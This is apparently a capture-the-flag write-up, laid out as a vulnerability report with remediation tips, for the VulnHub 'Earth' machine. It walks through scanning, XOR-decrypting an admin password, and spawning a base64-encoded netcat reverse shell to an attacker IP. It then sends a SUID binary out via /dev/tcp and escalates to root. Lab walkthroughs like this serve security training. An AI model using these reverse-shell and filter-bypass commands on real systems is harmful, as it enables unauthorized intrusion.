|  |  |
| --- | --- |
| Describe | Vulnerability |
| Service | Ssh, http, https |
| Ports | 22, 80, 443 |
| Versions | 2.4.51 |
| Severity | Medium |
| Cve id |  |
| Cvss score | 7/10 |
| Remediation | 1. **proper configuration of SSL/TLS certificates:**  * **Vulnerability:** Exposure of internal hostnames through SSL/TLS certificates can inadvertently reveal network structure information to attackers. * **Remediation:** * **Ensure that SSL/TLS certificates do not disclose sensitive internal information.** * **Regularly audit certificates to confirm they only contain necessary and appropriate details.**  1. **Secure Handling of Sensitive Files:**  * **Vulnerability:** Publicly accessible files, such as ‘***robot.txt’,*** may inadvertently disclose sensitive directories or files. * **Remediation:** * Limit thee use of “***robot.txt”*** to controlling web crawler behavior without exposing sensitive paths. * Store sensitive files outside of web-accessible directories and implement proper access controls.  1. **Avoidance of Hardcoded Credentials and sensitive data:**  * **Vulnerability:** Embedding sensitive information, such as encryption keys or credentials, within publicly accessible files can Iead to unauthorized access. * **Remediations:** * Store sensitive data securely using environment variables or secure vaults, rather than hardcoding them in files. * Regularly review and sanitize files to ensure they do not contain exposed sensitive information.  1. **Implementation of strong Authentication Mechanisms:**  * **Vulnerability:** weak or easily guessable passwords can be exploited to gain unauthorized access. * **Remediation:** * Enforce strong password policies that requies complex and unique passwords. * Implement multi-factor authentication (MFA) to add an additional layers of security.  1. **Regular Software Updates and patch Management:**  * **Vulnerability:** Outdated software may contain knows vulnerability that can be exploited by attackers. * **Remediations:** * Establisharoutine patch managementprocess to ensure all software and dependencies are up-to-date. * Monitor for and apply security patches promptly to mitigate known vulnerabilities.  1. **Secure Configuration of Exexutable Files and scripts:**  * **Vulnerability:** Executable files or scripts with improper permissions or configurations can be exploited for privilege escalation. * **Remediations:** * Set appropriate permissions on executable files and scripts to restrict unauthorized execution. * Regularly audit and test scripts to ensure they dod not contain vulnerabilities that could be exploited. |
| POC | Step 1  First I find our ip add in kali machine    After that I find victim ip add with the help of Netdiscover    Now that’s I’ve identified the victim’s IP address as (192.168.1.101) I’ll scan for open ports on their machine  Next I run an Nmap scan to identify open ports    After scanning I get open ports of ssh, http, https now I look website one gathering some info    It’s show bad request and nothing information get in source code also so I look one time more in Nmap for getting some hint  In http and https already show “400 bad request” and another thing is I get is DNS so now I trying to access website with DNS  first I do “***nano /etc/hosts”***  ***“etc/hosts***” its’s a system file that maps ‘IP Addresses to hostnames ’ a kind of local DNS. Before the system queries external DNS server, it checks this file to resolve hostnames.      Step2  Next, I attempt to access the website again    And yes, now I can easily access this time now it’s time to gathering information about earth machines  But first I do dirb fo looking some open directory about earth    Didn’t get anything from ‘earth.local’ except login page of admin panel    so now I access ‘terratest.earth.local’ for getting something interesting  after access ‘terratest.earth.local’ I get same result as ‘earth.local’ so now I move myself http to https for getting the result different    So its looks different from http so, now I use dirb again for getting some result different  Step 3      After accessing <https://terratest.earth.local/> I get robobt.txt file and the status code also ‘200 ok’ so now I can know about website in dept    After opening robot.txt I get lots of directories  So I opening ‘testing.txt’ file for getting some different results    It’s a hint I we see the page of website you get lots of encryption message it’s encrypted by “*XOR”* algorithm  And another line I get one more directory is ‘testdata.txt’  If you read carefully, you see that ‘testdata.txt’ is a key of encrypted messages about earth  And in third line I get username of admin panel are “*terra”*    I get four clue in this directory   * ***first :- the message*** ***encrypted in earth used a XOR algorithm*** * ***second :- I get one more directory in testing.txt*** * ***third :- the message encrypted by XOR the key is used by testdata.txt*** * ***fouth:- the username of admin panel is terra***     so now I’ll look key (testdata.txt) for next clue    It’s just a normal message in this directory so now I copy this message and paste cyberchef to decrypt the message use in earth main page    After using one-by-one all encrypted message I get this result the result is ***“earthclimatechangebad4human”***  So I think it’s a password of admin panel page  Step 4  So, Now I can access the admin page    And yes I can access with right username and password  Username:- terra  Password:- earthclimatechangebad4human  It’s a admin command tool what I write its shows me    After writing whoami so server show me the result  so now I try to take reverse connection in my terminal for graining user/root access easier  so I use nc for reverse connection      Server shows me ‘remote connections are forbidden!!’  So I encrypt the payload and put in CLI cmd again  now I come in my linux terminal I use  Echo “nc -e /bin/bash192.168.1.108 4444’ | base64    After this I put this payload in CLI cmd and run again lets see which type result I get now    In this I use  echo ‘encrypted\_stringvalue’ |base64 -d | bash  step5  This time I get different result I get successfully reverse connection    After this I use python for better to access terminal  Now I find user/root flag in earth    And here the first user flag, after doing more research I didn’t more user flag so it means only root flag left now so now I want to find root user and then it’s over    So I use ‘find / -perm -u=s -type f 2>/dev/null  The command find / -perm -u=s -type f 2>/dev/null is used in Linux/Unix systems to search for files that have the **setuid** permission set. Here's a breakdown of the components of the command:   * find: This is the command used to search for files in a directory hierarchy. * /: This tells find to start the search from the root directory /, i.e., the entire file system. * -perm -u=s: This option looks for files that have the **setuid** permission set for the user (owner).   + u=s means that the file's user (owner) permissions are exactly set to s, where s stands for the setuid bit.   + The **setuid** bit allows a file to be executed with the privileges of its owner, rather than the user executing it. * -type f: This restricts the search to regular files only (excluding directories, symlinks, etc.). * 2>/dev/null: This part redirects any error messages (such as "Permission Denied" errors) to /dev/null, effectively silencing them so they don't appear in the output.   I get the file name “usr/bin/reset\_root” so now it’s time take over root user    Step 6  I use file /usr/bin/reset\_root to triggering rest root but its fail so now I bring reset\_root file in my terminal  For modifying and resend to earth machine  First I open my listening port for sending reset\_root to our terminal after that I send reset\_root file to my terminal    Now I transfer that file to our terminal    I successfully send that file to my terminal so now I can modify and send to earth machine and then I gain root access  For file tranfer I use  Cat /usr/bin/reset\_root(filename) > /dev/tcp/192.168.1.108(my IP)/4444(port no)    File transfer done successfully  So now I back to our terminal and make some changes in reset\_root file    First I use chmod for make this file executable  And after that I use ltrace cmd   * The ltrace command is used to trace library function calls made by a program. It shows calls to shared libraries and the arguments passed to those functions. It’s a helpful tool for debugging and understanding how a program interacts with dynamic libraries     So now it’s almost done now I make a new directory in earth server and put this files and make it executable    Like this and its done now I get root password “Earth” so now I can become root user    After using “su root” and use password “Earth” now I become root user  One last step to prove myself I become root so now I find root flag  So first I go to root directory and find final flag    After doing  Cd root  Ls  Cat root\_flag.txt  After getting the final flag(root flag) complete this machine |
| References | https://medium.com/@galihabraa/solving-the-planets-earth-vm-from-vulnhub-walkthrough-writeup-29f356d489fb |

Csv:- [..\earth.csv](../earth.csv)